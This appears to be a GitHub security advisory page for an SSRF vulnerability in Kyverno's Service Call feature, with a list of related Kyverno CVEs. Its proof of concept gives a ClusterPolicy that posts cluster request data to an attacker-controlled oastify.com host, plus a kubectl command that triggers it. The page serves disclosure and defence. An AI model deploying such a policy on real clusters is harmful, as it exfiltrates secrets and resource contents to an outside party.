GHSA-459x-q9hg-4gpq: Kyverno vulnerable to SSRF via Service Calls
Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the…
Published Apr 15, 2025 · Updated Apr 23, 2025
Affected packages
github.com/kyverno/kyverno
- Ecosystem
- Go
- Affected
- <= 1.13.4
- Fixed in
- No patched version yet
- Check
go list -m github.com/kyverno/kyverno
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: falseNow let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charmLook at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
Credited to r0binak.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-54523
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
critical9.6Aug 26, 2026CVE-2026-41485
Kyverno Controller Denial of Service via forEach Mutation Panic
high7.7Apr 24, 2026CVE-2026-41068
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
high7.7No fixApr 16, 2026CVE-2026-41323
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
high8.1Apr 16, 2026GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
high7.7Apr 16, 2026CVE-2026-40868
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
high8.1Apr 14, 2026
